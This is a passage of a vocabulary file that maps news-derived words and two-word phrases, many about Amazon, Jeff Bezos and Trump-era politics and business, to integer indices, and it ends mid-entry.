"statehouses": 100622, "constitution trump": 100623, "epidemiologist": 100624, "citing white": 100625, "provide world": 100626, "sweetheart deals": 100627, "priorities": 100628, "obsolete according": 100629, "voice input": 100630, "book titles": 100631, "half world": 100632, "watch newsy": 100633, "press hosted": 100634, "massive unforced": 100635, "couple means": 100636, "household wealth": 100637, "trump era": 100638, "self education": 100639, "prime enterprise": 100640, "follow michael": 100641, "past decades": 100642, "learning skills": 100643, "far brennan": 100644, "shirts boycottwalmart": 100645, "petition drive": 100646, "startup kirio": 100647, "answer essentially": 100648, "prices situation": 100649, "mortar groceries": 100650, "tabloid fare": 100651, "lic": 100652, "securely": 100653, "nation commander": 100654, "astoria": 100655, "commission chairman": 100656, "agreement according": 100657, "real honest": 100658, "criminal charges": 100659, "partnership branded": 100660, "bezos shows": 100661, "700 million": 100662, "logos": 100663, "large parcel": 100664, "whitey bulger": 100665, "workers bezos": 100666, "innovations consumers": 100667, "concealer": 100668, "020": 100669, "incredible ian": 100670, "drugmaker deceptive": 100671, "philadelphia day": 100672, "fewer regulatory": 100673, "mega popular": 100674, "presidents day": 100675, "increasing year": 100676, "marketing company": 100677, "vpx cnn": 100678, "surging profit": 100679, "trumptruffles photo": 100680, "amazon seller": 100681, "cybercurrencies": 100682, "indie": 100683, "doug suttles": 100684, "amazon brotopia": 100685, "robotic defenses": 100686, "sent 780": 100687, "bezos reveals": 100688, "dimon golden": 100689, "act signals": 100690, "statement politico": 100691, "people fair": 100692, "new approaches": 100693, "disposal order": 100694, "pyongyang trump": 100695, "man standing": 100696, "conan tbs": 100697, "gurviz": 100698, "queens teamsters": 100699, "m8i v7a": 100700, "lee scott": 100701, "received larger": 100702, "mold smoking": 100703, "thing rates": 100704, "way cloud": 100705, "allegations coming": 100706, "agreement amazon": 100707, "looming investigation": 100708, "personal uses": 100709, "uncharacteristically taking": 100710, "blog platform": 100711, "tv great": 100712, "sen hatch": 100713, "lead indexes": 100714, "hp action": 100715, "announced smiling": 100716, "luxury hotel": 100717, "extra savings": 100718, "credibility": 100719, "blvd starting": 100720, "forces": 100721, "putin donald": 100722, "stop trump": 100723, "smaller market": 100724, "getting people": 100725, "comma": 100726, "washington bigger": 100727, "big retailers": 100728, "montclair": 100729, "2012 robert": 100730, "technology surveillance": 100731, "7bn purchase": 100732, "view represented": 100733, "underground bunker": 100734, "itunes mike": 100735, "weinstein sexual": 100736, "novel penguin": 100737, "pedestrians": 100738, "andrew george": 100739, "commercial markets": 100740, "questioned subsidies": 100741, "officials certainly": 100742, "new ventures": 100743, "tact": 100744, "contemplating potential": 100745, "raise concerns": 100746, "wray testified": 100747, "reuters brazilian": 100748, "second change": 100749, "483": 100750, "chavista": 100751, "offering bribes": 100752, "require additional": 100753, "retailers commerce": 100754, "jackson rubbed": 100755, "expects revenue": 100756, "dr paul": 100757, "new market": 100758, "automobilnews coo": 100759, "israel gaza": 100760, "implement profitable": 100761, "radhika": 100762, "rosethorn": 100763, "reportedly weighed": 100764, "r8 l2": 100765, "removable keyboard": 100766, "nyse hrb": 100767, "tree earningsfriday": 100768, "people regardless": 100769, "greater new": 100770, "important group": 100771, "language translation": 100772, "nyt bloomberg": 100773, "788 votes": 100774, "induced bull": 100775, "utm_medium feed": 100776, "johnson meet": 100777, "investigation regarding": 100778, "chomsky politics": 100779, "landed ami": 100780, "online markets": 100781, "bezos change": 100782, "school performance": 100783, "libertarian op": 100784, "spending ibd": 100785, "posted lower": 100786, "market finally": 100787, "europe wrote": 100788, "dollar ftc": 100789, "therese poletti": 100790, "organization splc": 100791, "greater focus": 100792, "read book": 100793, "camp coordinators": 100794, "trump bidding": 100795, "optimising word": 100796, "paper essentially": 100797, "things fell": 100798, "east security": 100799, "49th": 100800, "human mission": 100801, "squeeze siddiqui": 100802, "classified military": 100803, "origin started": 100804, "heather mills": 100805, "led lawsuit": 100806, "matter publicly": 100807, "ny chair": 100808, "ignoring intersectionality": 100809, "announced slew": 100810, "economic policies": 100811, "nicole carroll": 100812, "slant": 100813, "told fast": 100814, "mile logistics": 100815, "arabian royal": 100816, "spokesperson chose": 100817, "cork christmas": 100818, "sconfirmed": 100819, "complete disdain": 100820, "street protests": 100821, "faces suspension": 100822, "pledge pentagon": 100823, "unusual spelling": 100824, "driving license": 100825, "announce information": 100826, "service provides": 100827, "conduct alleged": 100828, "skills kit": 100829, "invention": 100830, "mccain opposition": 100831, "cramer world": 100832, "455 upside": 100833, "report confirmed": 100834, "minting": 100835, "delrahim alleging": 100836, "turner 2nd": 100837, "2018 press": 100838, "ally": 100839, "battle": 100840, "remnick": 100841, "lake tribune": 100842, "massive fulfillment": 100843, "050 unch": 100844, "faint": 100845, "paul revoke": 100846, "market founder": 100847, "amazon demands": 100848, "luddites": 100849, "using smartphones": 100850, "contact federal": 100851, "huge global": 100852, "quay west": 100853, "alexa home": 100854, "smaller deal": 100855, "pimple": 100856, "esch shortly": 100857, "democratic officials": 100858, "geekwire summit": 100859, "couple stocks": 100860, "curbed jeff": 100861, "kim kanye": 100862, "good memes": 100863, "sense amazon": 100864, "aim according": 100865, "insider account": 100866, "mark cuban": 100867, "build integrated": 100868, "horribly timed": 100869, "recently idled": 100870, "2018 aug": 100871, "commission rep": 100872, "amazon luxury": 100873, "phone handout": 100874, "criticized demarcations": 100875, "books available": 100876, "cortez ignorance": 100877, "negotiators hammered": 100878, "celebrate carol": 100879, "pushing nato": 100880, "week high": 100881, "cnl_featuretype": 100882, "blimp isn": 100883, "drug addicts": 100884, "afuye": 100885, "councilmembers continued": 100886, "david bowie": 100887, "miserly trump": 100888, "benefits collected": 100889, "microsoft earnings": 100890, "poletti 415": 100891, "teaches amazon": 100892, "public ministry": 100893, "wraps amazon": 100894, "suppress news": 100895, "fragmentary": 100896, "created couple": 100897, "asked current": 100898, "york race": 100899, "probe": 100900, "working karma": 100901, "partnership network": 100902, "deceased young": 100903, "horror stars": 100904, "alligator infested": 100905, "grandmothers home": 100906, "facebook sent": 100907, "disrupts entire": 100908, "key competitive": 100909, "tapped tiny": 100910, "vladimir": 100911, "immigration subscribers": 100912, "reliable language": 100913, "boy bezos": 100914, "likewise trump": 100915, "lowers wages": 100916, "created chrome": 100917, "regions named": 100918, "faricy": 100919, "law posted": 100920, "coke business": 100921, "final farewell": 100922, "baltxqyvjbpic twitter": 100923, "national mutual": 100924, "amazongiveaway": 100925, "amazon allows": 100926, "face legal": 100927, "amazon site": 100928, "advisory llc": 100929, "grizzlies center": 100930, "wide margin": 100931, "pled guilty": 100932, "ami acknowledged": 100933, "reported allsquare": 100934, "film produced": 100935, "previously explained": 100936, "pence nancy": 100937, "offered formal": 100938, "extravagant giveaway": 100939, "action figure": 100940, "raps": 100941, "technology executive": 100942, "wang image": 100943, "photo scott": 100944, "videotape julia": 100945, "lucha por": 100946, "services palantir": 100947, "saw recession": 100948, "bartiromo thank": 100949, "sbux large": 100950, "fashion today": 100951, "immigration reporter": 100952, "workplace scandals": 100953, "incident occurred": 100954, "packages needless": 100955, "need sturdy": 100956, "scrutinised": 100957, "american oil": 100958, "215": 100959, "feminist professor": 100960, "nyse ua": 100961, "sanders allegations": 100962, "contracting gravy": 100963, "margarethmcgill ashley": 100964, "expanding sinclair": 100965, "saunders says": 100966, "flynn citing": 100967, "simply economics": 100968, "leaders urging": 100969, "cia": 100970, "report finds": 100971, "council amazon": 100972, "amazon northern": 100973, "painfully aware": 100974, "golden globes": 100975, "writers association": 100976, "vermont complaint": 100977, "die viral": 100978, "repayment benefit": 100979, "uniformity": 100980, "cybertronian alphabet": 100981, "dystopian novel": 100982, "especially compelling": 100983, "story line": 100984, "paper loses": 100985, "aggressively trying": 100986, "oil trust": 100987, "remains open": 100988, "recently admitted": 100989, "thought best": 100990, "bezos urging": 100991, "general rachel": 100992, "removeclass video__end": 100993, "right size": 100994, "que la": 100995, "amazon juggernaut": 100996, "aaron hernandez": 100997, "maker worth": 100998, "companies saved": 100999, "222 4194": 101000, "millennial": 101001, "gain insights": 101002, "regularly retails": 101003, "geekwire asked": 101004, "initially spike": 101005, "overall commerce": 101006, "flat earth": 101007, "trump calling": 101008, "expecting growth": 101009, "did deny": 101010, "included payload": 101011, "curiam today": 101012, "clapper called": 101013, "sot": 101014, "car coming": 101015, "care platform": 101016, "black hurricane": 101017, "traded ecolab": 101018, "pragmatic": 101019, "content featured": 101020, "survivorship": 101021, "fraught tensions": 101022, "rights holders": 101023, "contenders trying": 101024, "ago jackie": 101025, "changes logistics": 101026, "ryan cited": 101027, "secret talks": 101028, "climb stocks": 101029, "administration brennan": 101030, "bain company": 101031, "elimination": 101032, "european legislators": 101033, "app showtime": 101034, "senior economist": 101035, "purgatory": 101036, "cantonese": 101037, "deducted": 101038, "lewd text": 101039, "safer names": 101040, "uses cadaver": 101041, "amazon terminate": 101042, "created map": 101043, "ziektekosten": 101044, "usmca": 101045, "making clear": 101046, "instance schumer": 101047, "inherently high": 101048, "incentive packages": 101049, "emergency cuteemergency": 101050, "amazon emerges": 101051, "profile breakups": 101052, "creole italian": 101053, "post responded": 101054, "checkout lines": 101055, "contribution 2018": 101056, "woodward james": 101057, "days longer": 101058, "companies helped": 101059, "protect job": 101060, "included shirts": 101061, "world animals": 101062, "ruiz": 101063, "people enjoy": 101064, "server bezos": 101065, "2019 journalists": 101066, "known critic": 101067, "uscpr": 101068, "help trump": 101069, "household items": 101070, "joel osteen": 101071, "woodward denied": 101072, "states dedicated": 101073, "federal false": 101074, "queens fighting": 101075, "ficus rubiginosa": 101076, "democrats hold": 101077, "stronger oversight": 101078, "years just": 101079, "prestige": 101080, "reporting american": 101081, "assault cnn": 101082, "american housewives": 101083, "studied tax": 101084, "finishing school": 101085, "releas": 101086, "department contract": 101087, "left loathing": 101088, "big te": 101089, "british police": 101090, "hurting bricks": 101091, "maximizing delivery": 101092, "officials confirmed": 101093, "nutrition coach": 101094, "unexpectedly fired": 101095, "hours wrote": 101096, "clearly established": 101097, "sharing medical": 101098, "clause": 101099, "visible areas": 101100, "execs enjoy": 101101, "poor neighborhoods": 101102, "k8 h8": 101103, "parscale trump": 101104, "15661 d4a": 101105, "biometric exit": 101106, "300 grand": 101107, "highly educated": 101108, "delivering alpha": 101109, "traitor criminal": 101110, "box legs": 101111, "amazon enables": 101112, "unfair today": 101113, "uncharacteristically": 101114, "times curiously": 101115, "later ami": 101116, "fuel company": 101117, "second term": 101118, "schneider": 101119, "longstanding skilled": 101120, "downed": 101121, "shares endurance": 101122, "2529": 101123, "reporter dave": 101124, "stores selling": 101125, "advocate campaign": 101126, "chip makers": 101127, "reforms matthew": 101128, "surveillance services": 101129, "instead kovacic": 101130, "specter": 101131, "marc lotter": 101132, "soir": 101133, "fashion house": 101134, "easy false": 101135, "petulance": 101136, "court sidestepped": 101137, "president hinted": 101138, "residents amazon": 101139, "facebook shook": 101140, "mendes": 101141, "winged seraph": 101142, "attendees include": 101143, "sima samar": 101144, "strategies supporting": 101145, "ultimately hurting": 101146, "rising terrorist": 101147, "gaspar": 101148, "contender asked": 101149, "customers denigrating": 101150, "marquee": 101151, "entrepreneurship": 101152, "given time": 101153, "determine postal": 101154, "jobs instead": 101155, "sessions": 101156, "week bolsonaro": 101157, "assessment rca": 101158, "pricing deals": 101159, "constantly quoting": 101160, "getting pissed": 101161, "scholars": 101162, "tgv vn": 101163, "foolery mac": 101164, "getty magine": 101165, "rights read": 101166, "foreclosures": 101167, "old fort": 101168, "make purchasing": 101169, "belt tightening": 101170, "mcsally greene": 101171, "dzanc": 101172, "famously wrote": 101173, "course breaking": 101174, "trump tough": 101175, "just ask": 101176, "kornacki stevekornacki": 101177, "mexican grill": 101178, "earnings swing": 101179, "serenity": 101180, "amazon homebody": 101181, "incentives promised": 101182, "subjects stupid": 101183, "tsn": 101184, "reducer": 101185, "battled big": 101186, "wynn suing": 101187, "eliminate international": 101188, "consumers took": 101189, "currently warming": 101190, "composite closed": 101191, "minute wish": 101192, "necessarily true": 101193, "negotiate natural": 101194, "moral objection": 101195, "turns criticizing": 101196, "official wrote": 101197, "intrusive police": 101198, "bezos efforts": 101199, "employees ice": 101200, "laws written": 101201, "beth solomon": 101202, "latest awful": 101203, "egoists ready": 101204, "enthusiastic": 101205, "iconic lgbtq": 101206, "carbon copy": 101207, "really emblematic": 101208, "staff bezos": 101209, "crooked media": 101210, "workers making": 101211, "delegation don": 101212, "commerce transactions": 101213, "despite shortfall": 101214, "investigation authorities": 101215, "cryptocurrencies": 101216, "carrell hosted": 101217, "electrical rates": 101218, "surveillance including": 101219, "food offering": 101220, "labor including": 101221, "dobbs loudobbs": 101222, "lrspbwmvbn": 101223, "hasn wavered": 101224, "horatio alger": 101225, "easley discovered": 101226, "recently rallied": 101227, "won mccabe": 101228, "sourcename": 101229, "people talked": 101230, "magazine delivery": 101231, "tweet mccarthy": 101232, "employers equal": 101233, "muriel": 101234, "facebook privacy": 101235, "charges minute": 101236, "issue america": 101237, "better shopping": 101238, "provide time": 101239, "demand reportedly": 101240, "briefing": 101241, "alphabet shares": 101242, "piquant episodic": 101243, "automobile association": 101244, "logistics efforts": 101245, "force awarded": 101246, "postage bills": 101247, "ideological allies": 101248, "raise challenges": 101249, "fund reported": 101250, "apple siri": 101251, "gasol sports": 101252, "blackburn priority": 101253, "wall talks": 101254, "complains": 101255, "breach 2018": 101256, "righteously": 101257, "good ones": 101258, "sensible gadgets": 101259, "internet namesake": 101260, "county supervisors": 101261, "huawei denies": 101262, "110 000": 101263, "senator hatch": 101264, "bark nary": 101265, "relocating jobs": 101266, "cottage industry": 101267, "exclusive arrangement": 101268, "theclotheshavenoemperor": 101269, "including perfume": 101270, "just shouting": 101271, "zacks rank": 101272, "voter records": 101273, "accounts trolling": 101274, "lower comparable": 101275, "collecting wives": 101276, "queens native": 101277, "summit steele": 101278, "global competitiveness": 101279, "8e811a57a619": 101280, "pig farmers": 101281, "states qualifying": 101282, "relocation announcement": 101283, "term strategic": 101284, "tangent": 101285, "score amazon": 101286, "company strategy": 101287, "personal friend": 101288, "electricity": 101289, "culminated": 101290, "federal financial": 101291, "572 shares": 101292, "money talk": 101293, "remaining parties": 101294, "amazon retailing": 101295, "related catholic": 101296, "member according": 101297, "house talks": 101298, "crossword puzzle": 101299, "exclusive early": 101300, "marks brian": 101301, "issue benefits": 101302, "jb pritzker": 101303, "intelligence causing": 101304, "considering gag": 101305, "functionally": 101306, "claims loom": 101307, "contract tenders": 101308, "huge advantage": 101309, "metal jacket": 101310, "continual": 101311, "amazon pays": 101312, "delivering 280mg": 101313, "humorist": 101314, "fomenting": 101315, "company violated": 101316, "empresa mas": 101317, "companies reliable": 101318, "lessening": 101319, "higher percentage": 101320, "paying job": 101321, "publish negative": 101322, "news night": 101323, "retailer space": 101324, "toronto tend": 101325, "lc holds": 101326, "free insurance": 101327, "support program": 101328, "netflix alphabet": 101329, "080": 101330, "firm told": 101331, "politifact illinois": 101332, "befitting": 101333, "amgen later": 101334, "andrew giuliani": 101335, "stars toni": 101336, "anticipation": 101337, "announce cut": 101338, "crude stockpil": 101339, "opted": 101340, "piece strain": 101341, "jewish feb": 101342, "branded uniforms": 101343, "large incomes": 101344, "sea trump": 101345, "465": 101346, "donny": 101347, "sought bankruptcy": 101348, "defamation trial": 101349, "enquirer expose": 101350, "wouldn work": 101351, "manager anthony": 101352, "double digits": 101353, "reports univision": 101354, "addabbo explained": 101355, "afghanistan valuable": 101356, "house harms": 101357, "francis whately": 101358, "museum barack": 101359, "status 1014189395883249665": 101360, "trump bad": 101361, "103 year": 101362, "workers warren": 101363, "received adequate": 101364, "savings account": 101365, "lone star": 101366, "patrick donahue": 101367, "barbara": 101368, "affects": 101369, "aggressively bearish": 101370, "owned mobile": 101371, "day windfalls": 101372, "fantastically": 101373, "nathan thornburgh": 101374, "concerned amazon": 101375, "home sales": 101376, "braithwaite": 101377, "mexican drug": 101378, "collar crime": 101379, "post box": 101380, "specifically people": 101381, "common tweet": 101382, "proximity": 101383, "doors especially": 101384, "inadequacies sherm": 101385, "jacobson ivanka": 101386, "nomura wrote": 101387, "opera general": 101388, "happen overnight": 101389, "continental office": 101390, "food costs": 101391, "foolish maybe": 101392, "trade city": 101393, "creating opportunities": 101394, "country explores": 101395, "delivery fee": 101396, "2018 real": 101397, "expenditure": 101398, "emmy award": 101399, "math racer": 101400, "great score": 101401, "unrealized": 101402, "stifle innovation": 101403, "amazon chance": 101404, "storefronts amazon": 101405, "buy computer": 101406, "snl sure": 101407, "sop": 101408, "nov rudy": 101409, "seasons report": 101410, "ad did": 101411, "repeating": 101412, "delivered direct": 101413, "traffickers": 101414, "story exploring": 101415, "sanders notwithstanding": 101416, "coollikemiles": 101417, "joins queen": 101418, "foods alana": 101419, "second location": 101420, "icy treats": 101421, "leafy": 101422, "known public": 101423, "mammal": 101424, "seen different": 101425, "meaningfully negative": 101426, "easy familiarity": 101427, "shown tendency": 101428, "treatment search": 101429, "mgm resorts": 101430, "realms": 101431, "addressing amazon": 101432, "brian killed": 101433, "killed london": 101434, "bras\u00edlia": 101435, "story dividend": 101436, "trump transition": 101437, "politico influence": 101438, "poor airquality": 101439, "sext messages": 101440, "insider threats": 101441, "pulling money": 101442, "conference chris": 101443, "president wishes": 101444, "republican party": 101445, "suggested clothing": 101446, "sect news": 101447, "long viewed": 101448, "home price": 101449, "investor appetite": 101450, "don vote": 101451, "flagging": 101452, "absolutely despite": 101453, "portable lifespan": 101454, "rooney sally": 101455, "videocollectionid": 101456, "news hosts": 101457, "getnextvideoindex currentvideoid": 101458, "recent rally": 101459, "wow twitter": 101460, "party pt": 101461, "began building": 101462, "danner managed": 101463, "videotape steve": 101464, "reps andy": 101465, "limbo": 101466, "nadler doesn": 101467, "palma": 101468, "shortlist toronto": 101469, "high speed": 101470, "dolliole new": 101471, "brief history": 101472, "deals promise": 101473, "tait entrepreneur": 101474, "taxi2airport": 101475, "receiving pressure": 101476, "economy including": 101477, "13008359": 101478, "duvall": 101479, "blogamazon": 101480, "tom enders": 101481, "soaring": 101482, "adorable": 101483, "memo says": 101484, "minute past": 101485, "capricious refereeing": 101486, "brotopia": 101487, "higher paying": 101488, "opa locka": 101489, "elijah": 101490, "extractive industries": 101491, "did report": 101492, "andy ostroy": 101493, "affiliates": 101494, "greeting cards": 101495, "gotten": 101496, "city calif": 101497, "digit pace": 101498, "kelli": 101499, "religious exemptions": 101500, "wary northern": 101501, "huckster": 101502, "americans crossing": 101503, "launched falcon": 101504, "kowalick": 101505, "psychologist reveals": 101506, "paralyze public": 101507, "summoned": 101508, "150 calls": 101509, "scalise returns": 101510, "suspension": 101511, "racial demographics": 101512, "beautiful home": 101513, "unintended consequences": 101514, "vendor shutting": 101515, "grudge trump": 101516, "connected pecker": 101517, "providing cheap": 101518, "powerful enemy": 101519, "holiday toys": 101520, "absolutely brutal": 101521, "american intellectual": 101522, "org": 101523, "stocks little": 101524, "arrested michael": 101525, "reduction program": 101526, "tech large": 101527, "actor named": 101528, "senator libertarian": 101529, "operations harder": 101530, "definitely feel": 101531, "clienty": 101532, "robin levy": 101533, "primarily attributed": 101534, "fiasco trump": 101535, "tv broke": 101536, "foreign selling": 101537, "utmost": 101538, "offices distribution": 101539, "largest meat": 101540, "cramer jim": 101541, "washington users": 101542, "contract dismaying": 101543, "banned pizzagate": 101544, "world paid": 101545, "spiritual significance": 101546, "return volatility": 101547, "corporate media": 101548, "usps deficits": 101549, "getty jeff": 101550, "violations natural": 101551, "bring losses": 101552, "media building": 101553, "loving racist": 101554, "information inquiring": 101555, "news sink": 101556, "say reports": 101557, "announcement amazon": 101558, "carstensen afp": 101559, "illinois heartland": 101560, "pentagon identified": 101561, "doctored devices": 101562, "fatty duck": 101563, "doesn exhibit": 101564, "arm reach": 101565, "employee apron": 101566, "change uber": 101567, "america analysts": 101568, "nonprofit amazon": 101569, "confirmation process": 101570, "potential jedi": 101571, "amazon recognized": 101572, "sinks": 101573, "undeniable": 101574, "instruct": 101575, "neighborhoods designated": 101576, "424 billion": 101577, "cellphones": 101578, "alphabetical order": 101579, "article_inline laxity": 101580, "mob headlineposttext": 101581, "importer interestingly": 101582, "ryan zinke": 101583, "politics reporter": 101584, "tenants association": 101585, "taking days": 101586, "criminals justin": 101587, "successful track": 101588, "100 gained": 101589, "report added": 101590, "latest security": 101591, "787": 101592, "inclusive workplace": 101593, "inside new": 101594, "gdp number": 101595, "coie": 101596, "concerns center": 101597, "war effect": 101598, "pressure started": 101599, "administration revenue": 101600, "celebration dinner": 101601, "blame senate": 101602, "powerful creatures": 101603, "maria ready": 101604, "schuster told": 101605, "plus points": 101606, "security gop": 101607, "rice reports": 101608, "diverse workforce": 101609, "johnson college": 101610, "vague references": 101611, "principal players": 101612, "expect prime": 101613, "fledged delivery": 101614, "accepted": 101615, "just needs": 101616, "filing makes": 101617, "speech policy": 101618, "mainframe": 101619, "ahamefule oluo": 101620, "love good": 101621, "ftc chairman": 101622, "investigating schuster": 101623, "fear politics": 101624, "agenda setting": 101625, "celebration orig": 101626, "world subscribe": 101627, "doubleday ayoola": 101628, "scene setting": 101629, "twitter writing": 101630, "banned politically": 101631, "paul ausick": 101632, "source tells": 101633, "cheryl cheryl": 101634, "thing wadtw": 101635, "trump epic": 101636, "likewise cnn": 101637, "uk chile": 101638, "bezos referenced": 101639, "fleecy jacket": 101640, "proposed contract": 101641, "dick amazon": 101642, "program christian": 101643, "month affair": 101644, "reporting including": 101645, "study puts": 101646, "1607et copyright": 101647, "analyst cites": 101648, "land alabama": 101649, "possible exception": 101650, "doral ends": 101651, "netflix relied": 101652, "geography drive": 101653, "scientologist": 101654, "goal 100": 101655, "alleged threat": 101656, "opportunity certainly": 101657, "smartest": 101658, "playout": 101659, "newsmakers nrcc": 101660, "tall clearly": 101661, "offense doesn": 101662, "invest heavily": 101663, "brutal regimes": 101664, "time fulfillment": 101665, "deloitte paves": 101666, "thiel openly": 101667, "taxes iranians": 101668, "proxy": 101669, "iceberg": 101670, "recalls 1941": 101671, "inboth parties": 101672, "fun look": 101673, "consistent schedules": 101674, "coerce": 101675, "sabrent tool": 101676, "unofficial report": 101677, "thorough security": 101678, "2017 google": 101679, "political challenges": 101680, "office apparently": 101681, "don drive": 101682, "interstate 170": 101683, "yves herman": 101684, "kanye west": 101685, "apologised": 101686, "decide": 101687, "dinesh": 101688, "establish closer": 101689, "protests confirms": 101690, "citywide responsibilities": 101691, "decorated": 101692, "sparring": 101693, "2750521": 101694, "outweighed": 101695, "hq2 means": 101696, "raised federal": 101697, "auto sector": 101698, "suggests commerce": 101699, "arrested cbs": 101700, "mail pieces": 101701, "computer generated": 101702, "effective online": 101703, "sanctuary lovingly": 101704, "administration ossenbeck": 101705, "example far": 101706, "agency report": 101707, "sustain broadsides": 101708, "service relationship": 101709, "lock devastated": 101710, "2018 geekwire": 101711, "\u01422": 101712, "views claims": 101713, "beverly hills": 101714, "trump requested": 101715, "fall little": 101716, "awareness course": 101717, "profitable newsstand": 101718, "criteria selected": 101719, "svs544vwef": 101720, "tablet apple": 101721, "space nirvana": 101722, "wmhrylwn1i": 101723, "133 acres": 101724, "investigating nycha": 101725, "walmart need": 101726, "federal refund": 101727, "whoop amazon": 101728, "rainforest mining": 101729, "disparage mexico": 101730, "brandon mcmillan": 101731, "set bail": 101732, "guys want": 101733, "findings add": 101734, "offering massive": 101735, "awful prior": 101736, "utah appeared": 101737, "infrastructure including": 101738, "air conditioners": 101739, "sarcastically denies": 101740, "reich": 101741, "administration asked": 101742, "dod classified": 101743, "company recent": 101744, "lara flynn": 101745, "standing": 101746, "severely impact": 101747, "mnuchin specifically": 101748, "industry shakeout": 101749, "corrected nearly": 101750, "house advisor": 101751, "hollywood celebrities": 101752, "jabong eyes": 101753, "weaponry": 101754, "showdetailsspancontent": 101755, "world miami": 101756, "leg higher": 101757, "female surfer": 101758, "included matches": 101759, "genius sitting": 101760, "brazilian legislation": 101761, "zealand number": 101762, "linoleic": 101763, "nikkei 225": 101764, "fundamentals airs": 101765, "house kits": 101766, "boxer briefs": 101767, "yorks": 101768, "tax vendor": 101769, "role journalists": 101770, "isn quite": 101771, "revenue slightly": 101772, "prospective": 101773, "complementary": 101774, "waterproof paperwhite": 101775, "firm called": 101776, "publication according": 101777, "viking buy": 101778, "legal response": 101779, "argues rosenblatt": 101780, "intelligence outweigh": 101781, "cities jumped": 101782, "u003c movement": 101783, "contract called": 101784, "tree clary": 101785, "ignore political": 101786, "trafficking build": 101787, "capping": 101788, "fortunes boosted": 101789, "presidentwas": 101790, "crosstalk dent": 101791, "paraskova": 101792, "property enterprise": 101793, "videourl videos": 101794, "american cable": 101795, "garish 1977": 101796, "151 square": 101797, "eu actually": 101798, "billion bloomberg": 101799, "attainable": 101800, "fortune brainstorm": 101801, "overly stevenoverly": 101802, "panera": 101803, "helped turn": 101804, "judiciary sides": 101805, "credit cards": 101806, "sarcastic": 101807, "slower moving": 101808, "ea fa": 101809, "exclusively reserved": 101810, "bad education": 101811, "farrar straus": 101812, "brought divided": 101813, "southern arizona": 101814, "winds": 101815, "175bn": 101816, "foreign ministry": 101817, "cape microsoft": 101818, "west sacramento": 101819, "dave stroup": 101820, "makers nvidia": 101821, "widespread taking": 101822, "_trksid": 101823, "paying amazon": 101824, "workers rebel": 101825, "gold 334": 101826, "investigative report": 101827, "younis": 101828, "face tough": 101829, "acto governments": 101830, "secret rates": 101831, "minimum hourly": 101832, "themes": 101833, "sarl": 101834, "obtain improved": 101835, "1971": 101836, "brilliant": 101837, "families separated": 101838, "shoddiest merchandise": 101839, "superintendent trump": 101840, "billionaire symbol": 101841, "owner turns": 101842, "state read": 101843, "won understand": 101844, "produced": 101845, "business entrepreneurs": 101846, "liberties concerns": 101847, "accessos": 101848, "metapack business": 101849, "rallies read": 101850, "television anchor": 101851, "hollywood health": 101852, "startlingly": 101853, "taxes las": 101854, "unpaid time": 101855, "biden haul": 101856, "long serving": 101857, "minimum required": 101858, "12th": 101859, "toyota": 101860, "bennet": 101861, "flesh wounds": 101862, "newest american": 101863, "dreidels": 101864, "dynasty governor": 101865, "deeply concerned": 101866, "android antitrust": 101867, "snatched documents": 101868, "foreigners trillion": 101869, "home park": 101870, "instagram post": 101871, "1557et copyright": 101872, "325 words": 101873, "deliveries sags": 101874, "tax payroll": 101875, "wealth according": 101876, "tom cancel": 101877, "second big": 101878, "klein betsy_klein": 101879, "labor democrats": 101880, "consequences white": 101881, "mac greer": 101882, "cubes squat": 101883, "acreage": 101884, "include amazon": 101885, "invested significant": 101886, "embedcodecopy": 101887, "hitting rough": 101888, "sensitive": 101889, "increasingly tarmacs": 101890, "war navarro": 101891, "people send": 101892, "specifically fort": 101893, "center geekwire": 101894, "spent simply": 101895, "hold public": 101896, "away 2018": 101897, "juiciest": 101898, "florence pugh": 101899, "felt silly": 101900, "customers increasingly": 101901, "iran talks": 101902, "anticipated anytime": 101903, "committees tied": 101904, "ali bon": 101905, "cathedrals listed": 101906, "matter narrowing": 101907, "largest economy": 101908, "existing citizens": 101909, "newer revenue": 101910, "procter": 101911, "delays school": 101912, "house national": 101913, "stalemate nyc": 101914, "nichol classic": 101915, "jacob wohl": 101916, "1835et": 101917, "company days": 101918, "looking ahead": 101919, "work ahead": 101920, "feeder sarah": 101921, "patriots owner": 101922, "government spends": 101923, "investigating numerous": 101924, "thumbimagelargesource thumbimagelargesource": 101925, "mice": 101926, "perry joining": 101927, "prone director": 101928, "managers private": 101929, "gagillion": 101930, "posted second": 101931, "settlement discussions": 101932, "shows daniel": 101933, "videoinstance cvp": 101934, "controversial marketing": 101935, "shale producer": 101936, "david klepper": 101937, "birkenstock ceo": 101938, "anger boiled": 101939, "comeback ben": 101940, "2033 mayor": 101941, "eclipsed saudi": 101942, "wrong 2018": 101943, "lastly": 101944, "political bloodstream": 101945, "corby": 101946, "previously routine": 101947, "holds 158": 101948, "fawning": 101949, "compensation claims": 101950, "weknow": 101951, "week election": 101952, "high flirting": 101953, "extremely cumbersome": 101954, "membersenough": 101955, "bookmark": 101956, "concern hasn": 101957, "nafta says": 101958, "100th anniversary": 101959, "money better": 101960, "candidate signature": 101961, "escape unnoticed": 101962, "relations blitz": 101963, "enemy eleanor": 101964, "hitting year": 101965, "indystar": 101966, "studios boss": 101967, "police arrested": 101968, "require business": 101969, "college student": 101970, "beating expectations": 101971, "market works": 101972, "multiple analysts": 101973, "import restrictions": 101974, "week canada": 101975, "anonymous source": 101976, "profile clash": 101977, "years prior": 101978, "french museums": 101979, "monologue": 101980, "trump lawyer": 101981, "bezos sudden": 101982, "data till": 101983, "regulatory control": 101984, "dark direction": 101985, "john giannandrea": 101986, "bezos intercepted": 101987, "exacerbates inequality": 101988, "scans particularly": 101989, "ofthe investigation": 101990, "elect": 101991, "marines": 101992, "171034414 tesla": 101993, "sanders declined": 101994, "thriving neighborhood": 101995, "cash inflows": 101996, "newsletter subscribe": 101997, "star reviews": 101998, "chest": 101999, "potential impact": 102000, "amazon fast": 102001, "story catherine": 102002, "juicier ambitions": 102003, "lays": 102004, "michael recovery": 102005, "gianaris adjusting": 102006, "reeling stock": 102007, "conspiracy site": 102008, "abc cbs": 102009, "branded hotel": 102010, "gordon lightfoot": 102011, "denver strike": 102012, "client privileges": 102013, "flooding social": 102014, "ceo change": 102015, "dollars 98point6": 102016, "suspended prominent": 102017, "conservative owner": 102018, "say revenge": 102019, "raises revenue": 102020, "inviting people": 102021, "ailing industrial": 102022, "jin saotome": 102023, "canadian refineries": 102024, "serving prison": 102025, "sports facilities": 102026, "opened positions": 102027, "classy": 102028, "way violate": 102029, "dartboards": 102030, "kit harington": 102031, "rep john": 102032, "liner": 102033, "casino boston": 102034, "game features": 102035, "felipe werneck": 102036, "separates 98point6": 102037, "trump intimidating": 102038, "gallery paris": 102039, "great jim": 102040, "public 